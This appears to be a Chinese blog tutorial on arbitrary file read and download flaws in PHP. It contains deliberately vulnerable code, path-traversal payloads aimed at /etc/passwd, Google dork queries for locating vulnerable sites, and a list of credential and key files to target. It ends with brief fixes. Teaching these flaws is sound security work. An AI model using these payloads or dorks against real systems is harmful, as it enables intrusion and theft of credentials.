zoukankan      html  css  js  c++  java
  • 11.任意文件查看与下载漏洞

    漏洞介绍

    一些网站由于业务需求,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,则恶意用户

    就能够查看或下载任意的文件,可以是源代码文件、敏感文件等。

     利用条件

    *存在读文件的函数
    *读取文件的路径用户可控且未校验或校验不严
    *输出了文件内容

     漏洞危害

    下载服务器任意文件,如脚本代码,服务及系统配置文件等
    可用得到的代码进一步代码审计,得到更多可利用漏洞

     任意文件读取

    代码形式如下几种:
    <?php
      $filename = "test.txt";
      readfile($filename); ?>

    <?php
      $filename = "test.txt";
      $fp = fopen($filename,"r") or die("Unable to open file!");
      $data = fread($fp,filesize($filename));
      fclose($fp);
    ?>

    <?php
      $filename = "test.txt";
      echo file_get_contents($filename);
    ?>

    <?php
      $filename = $_GET['f'];
      echo file_get_contents($filename);
    ?>
    ###$filename没有经过校验,或者校验不严格,用户可控制这个变量读取任意的文件。比如:/etc/passwd,
    ./index.php等等

     任意文件下载

    直接下载:

    <a href=“http://www.xxxx.com/xxx.rar”>??</a>

    用header()下载:

    <?php   

      $filename = $_GET['f'];
      header('Content-Type:image/gif');
      header('Content-Disposition: attachment; filename='.$filename);
      header('Content-Length: '.filesize($filename));
      readfile($filename); ?>
    ###$filename没有经过校验,或者校验不严格,用户可控制这个变量读取任意的文件。比如:/etc/passwd,
    ./index.php等等

     漏洞利用代码

    readfile.php?file=/etc/passwd
    readfile.php?file=../../../../../../../../etc/passwd
    readfile.php?file=../../../../../../../../etc/passwd%00

     Google search

    inurl:"readfile.php?file="
    inurl:"read.php?file="
    inurl:"download.php?file="
    inurl:"down.php?file="

     漏洞挖掘

    可以用Google hacking或web漏洞扫描器
    从链接上看,形如:
      readfile.php?file=***.txt
      download.php?file=***.rar
    从参数名看,形如:
      &RealPath=
      &FilePath=
      &filepath=
      &Path=
      &path=
      &inputFile=
      &url=
      &urls=
      &Lang=
      &data=
      &readfile=
      &filep=
      &src=
      &menu=
      META-INF  
      WEB-INF

     敏感文件

    Windows:
      C:oot.ini
      C:WindowsSystem32inetsrvMetaBase.xml
      C:Windows epairsam //存储系统初次安装的密码
      C:Program Filesmysqlmy.ini //Mysql配置
      C:Program Fielsmysqldatamysqluser.MYD //Mysql root
      C:Windowsphp.ini //php配置信息
      C:Winsowsmy.ini //mysql配置信息
    Linux:
      /root/.ssh/authorized_keys
      /root/.ssh/id_rsa
      /root/.ssh/id_ras.keystore
      /root/.ssh/known_hosts
      /etc/passwd
      /etc/shadow
      /etc/my.cnf
      /etc/httpd/conf/httpd.conf
      /root/.bash_history
      /root/.mysql_hstory
      /proc/self/fd/fd[0-9]*(文件标识符)
      /proc/mounts
      /proc/config.gz

     漏洞验证

    index.php?f=../../../../../../../etc/passwd
    index.php?f=../index.php
    index.php?f=file:///etc/passwd
    注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,
      若显示源码或提示下载则是文件查看与下载漏洞

     修复方案

    过滤点(.)使用户在url中不能回溯上级目录
    正则严格判断用户输入参数的格式
    php.ini 配置open_basedir限定文件访问范围

  • 相关阅读:
    Django rest_framework实现增删改查接口
    文件的三种打开方式知识点回顾
    Django中基表的创建、外键字段属性简介、脏数据概念、子序列化
    drf序列化与反序列化作业1
    rest_framework序列化与反序列化1
    APIview的请求生命周期源码分析
    sql
    正则上面的一个坑
    多线程与多进程---方法对比与使用
    网络编程----踩坑篇
  • 原文地址:https://www.cnblogs.com/Time-dog/p/5810770.html
Copyright © 2011-2022 走看看